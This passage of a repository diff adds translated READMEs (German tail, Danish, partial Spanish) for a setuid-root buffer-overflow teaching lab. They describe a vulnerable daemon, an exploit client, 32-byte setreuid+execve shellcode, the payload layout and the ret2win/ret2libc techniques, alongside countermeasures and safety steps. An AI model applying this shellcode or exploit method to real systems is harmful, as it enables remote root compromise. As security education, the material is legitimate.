erfüllen kann: `foosc`s eigenes „target euid=… ruid=…" enthält `uid=` als
Teilstring, was einmal einen gehärteten Test eine nie gelaufene Shell melden
ließ.
* `stack=`, `libc=`, `BUF=` — die ASLR-Leaks: erlauben Shellcode und ret2libc,
exakte Adressen zu berechnen.
---
## 10. Übungen
1. **Beobachte die Nicht-Root-Abstufung.** Führe `make test` *vor* `make
setuid` aus, dann danach erneut. Erkläre die `ROOT=SEEN`-Änderung mit der
ruid/euid-Geschichte aus §5.2.
2. **Lies den Absturz.** Führe `./foosc -t demo -n` aus und lies dann
`foosd.log`. Die Zeile `RIP=0x4141414141414141` ist das Padding des
Angreifers — der Beweis, dass der Overflow, nicht Pech, die Ausführung
kontrolliert.
3. **Füge den Canary hinzu.** `make hardened` und ändere die
`test-hardened`-Schleife selbst; die Log-Zeile
`*** stack smashing detected ***` ist die arbeitende Verteidigung.
4. **Deaktiviere das Leak.** Kommentiere die `BUF=`-Zeile in `foosd.c` aus,
baue neu und beobachte, wie `-t shellcode` von deterministisch zu einem
Ratespiel wird. Diese eine Zeile ist der Grund, warum echte
ASLR-Bypasses ein ganzes Feld sind.
5. **Das `-p`-Experiment.** Ändere in einer Kopie von `win()` `execl("/bin/sh",
"sh", NULL)` zu `execl("/bin/sh", "sh", "-p", NULL)` und beobachte root.
`-p` ist die dokumentierte Notluke aus dem Wächter der Shell — und der
Grund, warum der Rat „spawne einfach eine Shell" aus alten Write-ups
unvollständig ist.
6. **Warum nicht `setuid(0)`?** Schreibe den Shellcode so um, dass er
`setuid(0)` statt `setreuid(0,0)` aufruft (Syscall 105). Die Shell landet
trotzdem — und fällt trotzdem auf `uid=1000`. Das ist das lehrreichste
Ein-Zeilen-Experiment im gesamten Repository.
---
## 11. Sicherheit und Aufräumen
- Nur Loopback, standardmäßig und per Design; `-L` bindet weiter, und nur eine
Wegwerf-VM sollte es überhaupt in Betracht ziehen.
- Dies ist ein Root-Shell-Labor. Führe es nicht auf einer Maschine aus, die
wichtig ist, und richte `foosc -h` nicht auf etwas, das dir nicht gehört.
- Aufräumritual: `make stop` und dann `make unsetuid`, und wenn du den Baum
wieder makellos willst: `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

389
suid/README.DK.md Normal file
View file

@ -0,0 +1,389 @@
# SUID-root-RCE-laboratorium — `foosd` (daemon) + `foosc` (exploit)
En ledsager til det overordnede laboratorium (`food` / `fooc`, en almindelig
daemon, hvor et bufferoverløb giver dig en *bruger*-shell). Dette tilføjer den
farligste en-tegns-ændring i Unix: **setuid-bitten**.
> `chmod u+s` forvandler "angriberen kan køre kode på denne host" til
> "angriberen kan køre kode som **root** på denne host".
Den sætning er hele laboratoriet. Alt herunder er mekanismen under den, skrevet
ned, så du, når du skriver din egen software, præcist ved, hvilke to eller tre
filsystem-attributter og compiler-flag der afgør, om en
hukommelsessikkerhedsfejl i din kode er en gene eller en root-shell.
Den endelige demo, når `foosd` er setuid-root, er en **root-shell**, der åbnes
over netværket ved at udføre 32 bytes håndskrevet shellcode.
---
## 1. Hvad setuid-bitten rent faktisk gør
Hver proces på Linux bærer tre user-ID'er, og setuid-bitten piller ved
forholdet mellem dem:
| ID | Navn | Betydning |
|----|------|---------|
| `ruid` | reelle user-ID | kontoen, der *startede* processen |
| `euid` | effektive user-ID | det, kernen tjekker, når den håndhæver adgang |
| (saved) | gemte set-user-ID | en "slot", en privilegeret proces må vende tilbage til senere |
Et normalt program har `ruid == euid`. Når du udfører en binærfil med
setuid-bitten sat, ejet af root:
```text
ruid = dig (fx. 1000, "hanez")
euid = ejeren (fx. 0, "root")
```
Processen har derfor **roots autoritet**, selvom brugeren, der startede den, er
helt almindelig. Hvert tjek, kernen udfører — kan denne proces læse
`/etc/shadow`? skrive en fil? dræbe en anden proces? — besvares med `euid`,
dvs. "ja, den er root".
`foosd` er en netværksdaemon. Den binder en port og `fork()`er derefter et barn
per forbindelse. En fork *arver* euid'en, så hvert barn, der håndterer en
forbindelse, også er root. Overløbet i `foosd`s `vulnerable_handler()` er
derfor et overløb *inde i en root-proces*.
**Diagnosticér det selv, når daemonen kører:**
```console
$ ./foosd ... # se den loglinje, den printer ved start
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
og fra exploitet:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. Laboratoriet ved et øjekast
| Fil | Rolle |
|------|------|
| `foosd.c` | Den bevidst sårbare daemon (ejer fejlene). Kør som *setuid-root*-binærfil til root-shell-demoen. |
| `foosc.c` | Exploitet. Bruger som standard den 32-byte `setreuid + execve`-shellcode-teknik. |
| `shellcode.S` | Reference-shellcoden; `make verify` diff'er den mod byte-arrayet i `foosc.c`. |
| `tests/pty_suid_test.c` | Test-harness. Driver `foosc` gennem et pseudo-terminal og beviser både "en shell kørte" *og* "den var root" (`uid=0(`). |
| `Makefile` | Build, `setuid`/`unsetuid`-hjælpere, testmatrix. |
| `README.md` | Denne fil. |
> **Hvorfor en pty?** Exploitets sidste handling er at videresende din terminal
> til shellen, der udfører på offeret. En pipe eller her-doc lander i den
> forkerte ende af den videresendelse; en ægte terminal er påkrævet.
---
## 3. Hurtig start
```console
$ make # byg alt, som din normale bruger
$ make setuid # én gang, spørger om sudo: chown root + chmod u+s
$ make run # start foosd på 127.0.0.1:2343
$ make test-suid # fuld matrix; shellcode + ret2win-root skal give root
```
Interaktiv rygeprøve:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- du er root, på offeret
# exit
```
Når du er færdig:
```console
$ make stop
$ make unsetuid # hygiejne: efterlad aldrig en root-SUID-binærfil
```
---
## 4. *Hvornår skal jeg sætte SUID-bitten?* — svaret, du bad om
Præcis **én gang, efter bygningen, før du starter daemonen til
root-shell-demoerne** — og kun på en maskine, der er din, velegnet til at smide
væk og frakoblet netværket:
```console
$ make # kompilér foosd, foosc, tests
$ make setuid # <-- ØJEBLIKKET. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # start EFTER at have sat bitten
```
To regler, der betyder mere end det præcise tidspunkt:
1. **Sæt den kun, når binærfilen er færdig.** Hvis du genbygger (`make` /
`make clean`), efter du har sat bitten, rammer du et "Permission denied",
når du skriver root-ejede outputfiler — og hvis du tvinger genbygningen,
genskaber værktøjskæden filen **uden** `s`-en og fortryder stille og roligt
opsætningen. Den kanoniske rækkefølge ved enhver genbygning er derfor
```console
$ make unsetuid && make && make setuid
```
2. **Fjern den, når du er færdig.** `make unsetuid`. En levende,
root-ejet setuid-binærfil med en udnyttelig fejl i dit træ er ikke et
læremiddel, det er et root-hul med en kompileringsfejl mellem sig og
ingenting. På en delt eller produktionsmaskine: **lav ikke noget af
dette.** Daemonen nægter desuden som standard at binde andet end loopback
(se §7).
Hvis du kører exploitet *uden* nogensinde at sætte bitten, går intet i stykker
— payloaden lander stadig, og du får stadig en shell. Forskellen er i ét tal,
og exploitet siger det højt:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
Det "virker, men ikke root"-resultat er selv en del af laboratoriet. Husk det
til næste afsnit.
---
## 5. Mekanismen — og drejningen, der gør SUID interessant
### 5.1 Overløbet (identisk med `food`)
`foosd`s handler giver et `read()` 512 bytes tillid, mens den rækker den et
64-byte stack-buffer:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes over kanten */
```
På x86-64 vokser stacken nedad. Exploitet skriver 64 bytes junk for at fylde
`buf`, 8 for at fylde den gemte framepointer og 8 mere for at erstatte den
**gemte returadresse**. Når `vulnerable_handler` udfører `ret`, popper CPU'en
angriberens værdi ind i `RIP` — angriberkontrolleret kodeudførelse. Exploitet
finder den præcise afstand (88 bytes for denne build) ved at parse
`objdump`-output i stedet for at hardkode det, så tallet overlever genbygninger.
### 5.2 Drejningen: shellen nægter at være root
Her er det, hvor at tænke "SUID-fejl → spawn /bin/sh → root" ville gå galt, og
hvorfor dette laboratorium har præcis den form, det har.
Når et setuid-root-program kører, er dets `ruid` stadig den startende bruger,
og dets `euid` er root. Hvis programmet — eller angriberen — nu starter en
shell:
* `execve("/bin/sh")` ændrer **ikke** uiderne; den nye proces arver
`(ruid=1000, euid=0)`.
* bash (og dash) **tjekker præcis den tilstand ved start**. Fra bash-manualen:
*"If the shell is started with the effective user (group) id not equal to
the real user (group) id, and the -p option is not supplied, … the effective
user id is set to the real user id."*
Så shellen kigger på sig selv og *dropper root* — et forsvar, som
shell-forfatterne byggede præcis mod dette angreb (den historiske begrundelse
var setuid-shell-/setuid-script-problemet). Resultatet er "virker, men ikke
root"-tilfældene:
| Teknik | Hvad den udfører | Resulterende uid |
|-----------|------------------|---------------|
| `ret2win` | `foosd`s `win()` → `execl("/bin/sh")` | **1000** — shell landede, root nulstillet af bash |
| `ret2libc` | `system("/bin/sh")` → frisk `sh -c '/bin/sh'` | **1000** — samme nulstilling, et niveau nede |
| `ret2win-root` | `foosd`s `win_root()` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid ryddet fra C |
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid ryddet fra maskinkode |
De to, der når root, adskiller sig fra de to, der ikke gør, med præcis én idé:
**de rydder den *reelle* uid, ikke kun den effektive.**
```c
setuid(0) /* sætter euid til 0, men ruid forbliver 1000:
bash ser stadig euid != ruid og nulstiller STADIG. */
setreuid(0, 0) /* sætter BEGGE: ruid = euid = 0.
bash ser lige uider og beholder root. */
```
Det er derfor, den klassiske `/bin/sh`-shellcode, du finder overalt på
internettet, starter med et uid-ryddende syscall — og det er grunden til, at
shellcoden her er 32 bytes i stedet for 23: de første fem instruktioner er
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Så hvad er exploitet, ende til ende?
1. `foosc` læser `foosd`s banner over socket'en. Det får:
- `ids=0/1000` — euid/ruid (SUID-selvdiagnosen)
- `stack=…` og `libc=…` — pointers (ASLR-leaksene)
- `BUF=…` — den nøjagtige adresse på det buffer, den er ved at løbe over
2. Fra target-binærfilen (via `objdump`) lærer det `rip_off` og adresserne på
`win()` / `win_root()`.
3. Fra *sin egen* libc (via `/proc/self/maps` + `dlsym` + et hukommelsesscan)
måler det offsets for `system`, `read`, `/bin/sh` og et
`pop rdi; ret`-gadget — intet er hardkodet.
4. Det samler payloaden. For `-t shellcode` er det:
`[32-byte-setreuid+execve-kode][padding til RIP][ret-fix][adresse på buf]`.
5. `foosd`s `read()` løber over; `ret` lander på shellcoden; kernen udfører
`setreuid(0,0)` (fint: euid 0 er privilegeret) og derefter `execve` af
`/bin/sh`. bash starter med `ruid == euid == 0` og forbliver root.
6. `foosc` videresender din terminal til den root-shell, indtil du skriver
`exit`.
Én bekvemmelighedsdetalje, der koster folk meget tid, hvis den overses:
exploitet tester hver uid-ryddende adfærd **uden** først at have brug for
setuid-bitten. Kør `make test` før `make setuid`, og du vil se hver teknik
lande en shell, mens `ROOT=MISSING` står; kør `make test-suid` efter `make
setuid`, og `ROOT=SEEN` dukker op ved de to teknikker, der rydder den reelle
uid. Det A/B er hele lektionen, udførligt på ti sekunder.
---
## 6. De gamle one-liners — og hvorfor de fleste af dem er døde
Har du læst om SUID, har du læst om `PATH`-kapring, `LD_PRELOAD` og
setuid-shells. Alle tre er klassiske, og alle tre fejler på et moderne system
mod *dette program*. Det er værd at vide præcis hvorfor, fordi grundene er de
forsvar, du får gratis:
| Angrebsklasse | Gamle påstand | Hvorfor den fejler på en moderne maskine |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` af et ondsindet bibliotek | "Setuid-programmet loader min `.so` og kører min kode som root." | Kernen markerer en setuid-binærfil som **AT_SECURE**; glibc ignorerer derefter `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` og venner. Miljøet behandles som *utroverdig input*. `LD_PRELOAD` mod en setuid-binærfil er en no-op. |
| `PATH`-kapring (`system("ls")` med en forgiftet PATH) | "Peg PATH mod et bibliotek med min falske `ls`; root-programmet kører den." | Et andet ansigt af samme forsvar: en AT_SECURE-proces får en **saneret `PATH`** (en sikker standard, nogenlunde `/usr/local/bin:/usr/bin:/bin`) til `system()`/`execvp`, så det forgiftede bibliotek aldrig konsulteres. |
| Setuid-`system()`-kommandoinjektion | "Den injicerede kommando kører med euid 0." | `system()` kører kommandoen i en frisk `/bin/sh`, og den shell — §5.2 — nulstiller `euid = ruid` ved start. Den injicerede kommando udføres med den *reelle* uid. (Det er stadig en fejl; den eskalerer bare ikke længere gennem `/bin/sh`.) |
| Setuid-root-shell på disken (`cp /bin/sh /tmp; chmod u+s`) | "Kør den, få root." | Præcis forsvaret ovenfor, og det er grunden til, at moderne distroer ikke leverer nogen setuid-root-shell. Selv når det lykkes at lave én, nægter bash at beholde euid 0, medmindre den startes med `-p`. |
Hvad der forbliver i live, og det er dette laboratorium: **programmet er
*allerede* root, når det kører.** Du behøver ikke miljøet eller `system()`; du
har brug for, at programmet udfører *din* kode (via en
hukommelseskorruptionsfejl), mens det er privilegeret, og din kode skal være
omhyggelig nok til selv at rette uid-mismatchet — `setreuid(0,0)` — før den
overrækker dig en shell. Hukommelseskorruption + SUID er kombinationen, der
stadig ender i `uid=0`, hvilket er præcis hvorfor hukommelsessikre sprog,
canaries og no-execute-stacks ikke er en modebeslutning.
---
## 7. De sikkerhedsgelændere, der er bygget ind i daemonen
`foosd` er bevidst det *dårligste* stykke software i dette repository, så det
bærer også flest gelændere:
1. **Kun loopback, håndhævet.** `foosd` nægter enhver bind-adresse ud over
loopback, medmindre du giver `-L`. En setuid-root-listener på en rigtig
grænseflade er en fjern root-tjeneste; afslaget er standarden, så den
farlige tilstand skal skrives bevidst ind.
2. **Selvdiagnose.** Ved start logger den `ruid`/`euid` og om den kører som
root, så konsollen viser den tilstand, exploitet afhænger af.
3. **Loggen når aldrig klienten.** Daemonen reserverer en privat
log-descriptor, før sockets erstatter fd 1, så crash-reporter-output og
interne stier ikke kan læses tilbage over ledningen af angriberen.
4. **Crash-reporter.** En SIGSEGV-handler logger `RIP`/`RSP` — den værdi,
angriberen skrev ind i returadressen — så en vellykket kapring er synlig i
`foosd.log` i stedet for at være en stille død.
5. **`make unsetuid`.** Fjernelse af bitten er scriptet, fordi at efterlade den
sat er den fiaskotilstand, folk rent faktisk har.
---
## 8. Modforanstaltninger — hvad hver stopper, og hvad den *ikke* stopper
Anvendt på `foosd` via `make hardened`, én ad gangen eller sammen:
| Modforanstaltning | Hvad den stopper | Hvad den *ikke* stopper |
|------------|---------------|-------------------------|
| `-fstack-protector-strong` (canary) | Overløbet: `ret` opdager en smadret canary og abort'er, før angriberens adresse bruges. Stopper her **alle fire** teknikker — de deler det ene sårbare `read()`. | Intet ved *designet*: binærfilen er stadig setuid-root; en anden fejl (format-string-`%n`, heap-overflow, use-after-free) har ingen canary at udløse. |
| `-fPIE -pie` (ASLR for binærfilen) | Brug af forudsigelige `win()`/`win_root()`-adresser (ret2win-teknikkerne). | Shellcode-teknikken, hvis en stack-adresse stadig lækker (`BUF=`-linjen). |
| `-z noexecstack` (NX / W^X) | Shellcoden: CPU'en nægter at hente instruktioner fra en data-only-side, så et hop til `buf` er et SIGSEGV. | ROP — at køre kode, der allerede findes (`ret2libc`). |
| Alle tre sammen | En svær-at-overløbe, randomiseret binærfil med ikke-eksekverbar stack. Sådan ser en normal hærdet build ud. | Setuid-bitten. **En hærdet SUID-binærfil er stadig en SUID-binærfil.** Hvis nogen nåbar hukommelsessikkerhedsfejl overlever, er det stadig "fejl i en root-proces". |
Konsolbeviset er `make test-hardened`, som bytter den hærdede build ind og viser
alle teknikker dø ved canaryen, mens `foosd_hardened.log` optager
`*** stack smashing detected ***`.
To designniveau-modforanstaltninger, som intet compiler-flag leverer, og som det
overordnede laboratorium (`food`) også bruger:
- **Least privilege.** En daemon til en uprivilegeret port (2343 > 1024) har
intet legitimt behov for root. En korrekt `foosd` ville binde og derefter
`setgroups`/`setgid`/`setuid` til en uprivilegeret konto og *bekræfte, at det
holdt* (den korrekte version står i kilden som `drop_privs()`, aldrig kaldt —
ikke-kaldelsen er laboratoriets fejl nr. 3).
- **Begræns read'et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje
overgår hvert compiler-flag i tabellen.
---
## 9. Wire-protokollen (så du kan læse daemonen med netcat)
```text
FOOSD 1.0 - deliberately vulnerable SUID service
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
BUF=0x7ffd...
```
* `ids=euid/ruid` — kunne ikke printes som `euid=`/`ruid=`, fordi test-harnessen
beviser en shell ved at greppe efter det bogstavelige `uid=`, og banneret må
ikke indeholde det (en sonde, der deler signatur med svaret, er en klassisk
falsk-positiv-fælde; se kommentaren i `foosd.c`). Harnessen kræver desuden
den strenge `id`-outputform — `uid=NNN(...)` — så intet, daemonen eller
exploitet printer, kan opfylde tjekket ved et tilfælde: `foosc`s eget
"target euid=… ruid=…" indeholder `uid=` som delstreng, hvilket engang fik en
hærdet test til at melde en shell, der aldrig havde kørt.
* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lader shellcode og ret2libc
beregne eksakte adresser.
---
## 10. Øvelser
1. **Betragt ikke-root-nedgraderingen.** Kør `make test` *før* `make setuid`,
og derefter igen bagefter. Forklar `ROOT=SEEN`-ændringen med
ruid/euid-historien i §5.2.
2. **Læs nedbruddet.** Kør `./foosc -t demo -n` og læs derefter `foosd.log`.
Linjen `RIP=0x4141414141414141` er angriberens padding — beviset på, at
overløbet, ikke uheld, kontrollerer udførelsen.
3. **Tilføj canaryen.** `make hardened` og ændr selv `test-hardened`-løkken;
loglinjen `*** stack smashing detected ***` er forsvaret, der virker.
4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ud, genbyg, og se
`-t shellcode` gå fra deterministisk til et gættespil. Den ene linje er
grunden til, at ægte ASLR-bypasses er et helt felt.
5. **`-p`-eksperimentet.** Ændr i en kopi af `win()` `execl("/bin/sh", "sh",
NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er
den dokumenterede nødudgang fra shellens vagt — og grunden til, at rådet
"spawn bare en shell" fra gamle write-ups er ufuldstændigt.
6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til at kalde `setuid(0)`
i stedet for `setreuid(0,0)` (syscall 105). Shellen lander stadig — og
falder stadig til `uid=1000`. Det er det mest lærerige en-linjes-eksperiment
i hele repositoryet.
---
## 11. Sikkerhed og oprydning
- Kun loopback, som standard og efter design; `-L` binder længere, og kun en
velegnet-til-at-smid-væk-VM bør overhovedet overveje det.
- Dette er et root-shell-laboratorium. Kør det ikke på en maskine, der
betyder noget, og peg ikke `foosc -h` mod noget, du ikke ejer.
- Oprydningsritual: `make stop` og derefter `make unsetuid`, og hvis du vil
have træet pletfrit igen: `sudo make clean`.
```console
$ make stop
$ make unsetuid
```

399
suid/README.ES.md Normal file
View file

@ -0,0 +1,399 @@
# Laboratorio de RCE root por SUID — `foosd` (demonio) + `foosc` (exploit)
Un compañero del laboratorio principal (`food` / `fooc`, un demonio normal donde
un desbordamiento de búfer te da un shell de *usuario*). Este añade el cambio de
un solo carácter más peligroso de Unix: **el bit setuid**.
> `chmod u+s` convierte "el atacante puede ejecutar código en este host" en "el
> atacante puede ejecutar código como **root** en este host".
Esa frase es todo el laboratorio. Todo lo que sigue es el mecanismo que tiene
debajo, escrito, para que cuando escribas tu propio software sepas
exactamente qué dos o tres atributos del sistema de archivos y flags del
compilador deciden si un error de seguridad de memoria en tu código es una
molestia o un shell root.
La demo final, cuando `foosd` es setuid-root, es un **shell root** abierto a
través de la red ejecutando 32 bytes de shellcode escrita a mano.
---
## 1. Qué hace realmente el bit setuid
Cada proceso en Linux lleva tres user-ID, y el bit setuid toca la relación
entre ellos:
| ID | Nombre | Significado |
|----|------|---------|
| `ruid` | user-ID real | la cuenta que *inició* el proceso |
| `euid` | user-ID efectivo | lo que el kernel comprueba al imponer el acceso |
| (saved) | set-user-ID guardado | una "ranura" a la que un proceso privilegiado puede volver más tarde |
Un programa normal tiene `ruid == euid`. Cuando ejecutas un binario con el bit
setuid puesto, propiedad de root:
```text
ruid = tú (p. ej. 1000, "hanez")
euid = el dueño (p. ej. 0, "root")
```
El proceso tiene por tanto **la autoridad de root**, aunque el usuario que lo
inició sea perfectamente normal. Cada comprobación que hace el kernel — ¿puede
este proceso leer `/etc/shadow`? ¿escribir un archivo? ¿matar a otro proceso? —
se responde con `euid`, es decir, "sí, es root".
`foosd` es un demonio de red. Enlaza un puerto y luego hace `fork()` de un hijo
por conexión. Un fork *hereda* el euid, así que cada hijo que gestiona una
conexión también es root. El desbordamiento en `vulnerable_handler()` de
`foosd` es por tanto un desbordamiento *dentro de un proceso root*.
**Diagnostícalo tú mismo cuando el demonio esté corriendo:**
```console
$ ./foosd ... # mira la línea de log que imprime al arrancar
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
```
y desde el exploit:
```console
$ ./foosc -t leak
foosc: target euid=0 ruid=1000
```
---
## 2. El laboratorio de un vistazo
| Archivo | Rol |
|------|------|
| `foosd.c` | El demonio deliberadamente vulnerable (dueño de los errores). Ejecútalo como *binario setuid-root* para la demo del shell root. |
| `foosc.c` | El exploit. Usa por defecto la técnica de shellcode `setreuid + execve` de 32 bytes. |
| `shellcode.S` | El shellcode de referencia; `make verify` lo compara con el array de bytes en `foosc.c`. |
| `tests/pty_suid_test.c` | Harness de prueba. Conduce a `foosc` a través de un pseudo-terminal y prueba tanto "corrió un shell" *como* "era root" (`uid=0(`). |
| `Makefile` | Compilación, helpers `setuid`/`unsetuid`, matriz de prueba. |
| `README.md` | Este archivo. |
> **¿Por qué una pty?** La última acción del exploit es retransmitir tu
> terminal al shell que corre en la víctima. Un pipe o un here-doc llega al
> lado equivocado de esa retransmisión; se requiere un terminal real.
---
## 3. Inicio rápido
```console
$ make # compila todo, como tu usuario normal
$ make setuid # una vez, pide sudo: chown root + chmod u+s
$ make run # arranca foosd en 127.0.0.1:2343
$ make test-suid # matriz completa; shellcode + ret2win-root deben dar root
```
Prueba de humo interactiva:
```console
$ ./foosc -t shellcode
...
foosc: target euid=0 ruid=1000
foosc: shell is on the victim (root if foosd is SUID); relaying
# id
uid=0(root) gid=0(root) groups=0(root) <-- eres root, en la víctima
# exit
```
Cuando termines:
```console
$ make stop
$ make unsetuid # higiene: no dejes nunca un binario root SUID suelto
```
---
## 4. *¿Cuándo pongo el bit SUID?* — la respuesta que pediste
Exactamente **una vez, después de compilar, antes de arrancar el demonio para
las demos de shell root** — y solo en una máquina que sea tuya, apta para tirar
y desconectada de la red:
```console
$ make # compila foosd, foosc, las pruebas
$ make setuid # <-- EL MOMENTO. sudo chown root:root foosd && sudo chmod u+s foosd
$ make run # arranca DESPUÉS de poner el bit
```
Dos reglas que importan más que el momento exacto:
1. **Ponlo solo cuando el binario esté terminado.** Si recompilas (`make` /
`make clean`) después de poner el bit, te topas con "Permission denied" al
escribir los archivos de salida propiedad de root — y si fuerzas la
recompilación, el toolchain recrea el archivo **sin** la `s` y deshace la
configuración en silencio. El orden canónico en cualquier recompilación es
por tanto
```console
$ make unsetuid && make && make setuid
```
2. **Quítalo cuando termines.** `make unsetuid`. Un binario setuid vivo,
propiedad de root, con un error explotable en tu árbol no es una herramienta
pedagógica, es un agujero root con un error de compilación entre él y nada.
En una máquina compartida o de producción: **no hagas nada de esto.** El
demonio además se niega por defecto a enlazarse a nada que no sea loopback
(ver §7).
Si ejecutas el exploit *sin* poner nunca el bit, nada se rompe — el payload
sigue aterrizando y sigues obteniendo un shell. La diferencia está en un solo
número, y el exploit lo dice en voz alta:
```console
foosc: WARNING: the daemon is NOT running with euid 0.
The payload will still land, but the shell will be
a plain user shell, not root.
Fix: sudo make setuid
```
El resultado "funcionó, pero no root" es en sí parte del laboratorio.
Recuérdalo para la siguiente sección.
---
## 5. El mecanismo — y el giro que hace interesante a SUID
### 5.1 El desbordamiento (idéntico a `food`)
El handler de `foosd` da a un `read()` 512 bytes de confianza mientras le
ofrece un búfer de pila de 64 bytes:
```c
char buf[64];
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes sobre el borde */
```
En x86-64 la pila crece hacia abajo. El exploit escribe 64 bytes de basura para
llenar `buf`, 8 para llenar el puntero de marco guardado y 8 más para
reemplazar la **dirección de retorno guardada**. Cuando `vulnerable_handler`
ejecuta `ret`, la CPU hace pop del valor del atacante en `RIP` — ejecución de
código controlada por el atacante. El exploit encuentra la distancia exacta (88
bytes para esta compilación) analizando la salida de `objdump` en lugar de
hardcodearla, así que el número sobrevive a las recompilaciones.
### 5.2 El giro: el shell se niega a ser root
Aquí es donde pensar "bug SUID → spawn /bin/sh → root" iría mal, y por qué este
laboratorio tiene exactamente la forma que tiene.
Cuando corre un programa setuid-root, su `ruid` sigue siendo el usuario que lo
inició y su `euid` es root. Si el programa — o el atacante — lanza ahora un
shell:
* `execve("/bin/sh")` **no** cambia los uids; el nuevo proceso hereda
`(ruid=1000, euid=0)`.
* bash (y dash) **comprueba exactamente ese estado al arrancar**. Del manual de
bash: *"If the shell is started with the effective user (group) id not equal
to the real user (group) id, and the -p option is not supplied, … the
effective user id is set to the real user id."*
Así que el shell se mira y *suelta root* — una defensa que los autores de
shell construyeron exactamente contra este ataque (la justificación histórica
era el problema de las shells setuid / scripts setuid). El resultado son los
casos "funcionó, pero no root":
| Técnica | Qué ejecuta | uid resultante |
|-----------|------------------|---------------|
| `ret2win` | el `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell aterrizado, root reseteado por bash |
| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` fresco | **1000** — el mismo reset, un nivel abajo |
| `ret2win-root` | el `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid limpiado desde C |
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid limpiado desde código máquina |
Las que alcanzan root se diferencian de las que no lo hacen en exactamente una
idea: **limpian el uid *real*, no solo el efectivo.**
```c
setuid(0) /* pone euid a 0, pero ruid sigue en 1000:
bash sigue viendo euid != ruid y resetea IGUAL. */
setreuid(0, 0) /* pone AMBOS: ruid = euid = 0.
bash ve uids iguales y conserva root. */
```
Por eso el shellcode `/bin/sh` clásico que encuentras por todo internet
empieza con un syscall de limpieza de uid — y por eso el shellcode aquí es de
32 bytes en lugar de 23: las primeras cinco instrucciones son
```asm
xor edi, edi ; ruid = 0
xor esi, esi ; euid = 0
push 0x71 ; 113 = __NR_setreuid
pop rax
syscall
```
### 5.3 Entonces, ¿qué es el exploit, de principio a fin?
1. `foosc` lee el banner de `foosd` por el socket. Obtiene:
- `ids=0/1000` — euid/ruid (el autodiagnóstico SUID)
- `stack=…` y `libc=…` — punteros (las fugas de ASLR)
- `BUF=…` — la dirección exacta del búfer que está a punto de desbordar
2. Del binario objetivo (vía `objdump`) aprende `rip_off` y las direcciones de
`win()` / `win_root()`.
3. De *su propia* libc (vía `/proc/self/maps` + `dlsym` + un escaneo de memoria)
mide los offsets de `system`, `read`, `/bin/sh` y un gadget `pop rdi; ret` —
nada está hardcodeado.
4. Ensambla el payload. Para `-t shellcode`, es:
`[código setreuid+execve de 32 bytes][basura hasta RIP][ret-fix][dirección de buf]`.
5. El `read()` de `foosd` se desborda; el `ret` aterriza en el shellcode; el
kernel ejecuta `setreuid(0,0)` (sin problema: euid 0 es privilegiado) y luego
`execve` de `/bin/sh`. bash arranca con `ruid == euid == 0` y sigue siendo
root.
6. `foosc` retransmite tu terminal a ese shell root, hasta que escribes `exit`.
Un detalle de comodidad que cuesta caro a la gente si se pasa por alto: el
exploit prueba cada comportamiento de limpieza de uid **sin** necesitar primero
el bit setuid. Ejecuta `make test` antes de `make setuid`, y verás cada técnica
aterrizar un shell con `ROOT=MISSING`; ejecuta `make test-suid` después de
`make setuid`, y `ROOT=SEEN` aparece en las dos técnicas que limpian el uid
real. Ese A/B es toda la lección, representada en diez segundos.
---
## 6. Los viejos one-liners — y por qué la mayoría están muertos
Si has leído sobre SUID, has leído sobre secuestro de `PATH`, `LD_PRELOAD` y
shells setuid. Los tres son clásicos, y los tres fallan en un sistema moderno
contra *este programa*. Vale la pena saber exactamente por qué, porque las
razones son las defensas que obtienes gratis:
| Clase de ataque | Vieja afirmación | Por qué falla en una máquina moderna |
|--------------|-----------|------------------------------|
| `LD_PRELOAD` de una biblioteca maliciosa | "El programa setuid carga mi `.so` y ejecuta mi código como root." | El kernel marca un binario setuid como **AT_SECURE**; glibc ignora entonces `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` y compañía. El entorno se trata como *entrada no confiable*. `LD_PRELOAD` contra un binario setuid es un no-op. |
| Secuestro de `PATH` (`system("ls")` con un PATH envenenado) | "Apunta PATH a un directorio con mi `ls` falso; el programa root lo ejecutará." | Otra cara de la misma defensa: un proceso AT_SECURE recibe un **PATH saneado** (un valor por defecto seguro, más o menos `/usr/local/bin:/usr/bin:/bin`) para `system()`/`execvp`, así que el directorio envenenado nunca se consulta. |
| Inyección de comando `system()` setuid | "El comando inyectado se ejecuta con euid 0." | `system()` ejecuta el comando en un `/bin/sh` nuevo, y ese shell — §5.2 — resetea `euid = ruid` al arrancar. El comando inyectado se ejecuta con el uid *real*. (Sigue siendo un error; solo que ya no escala vía `/bin/sh`.) |
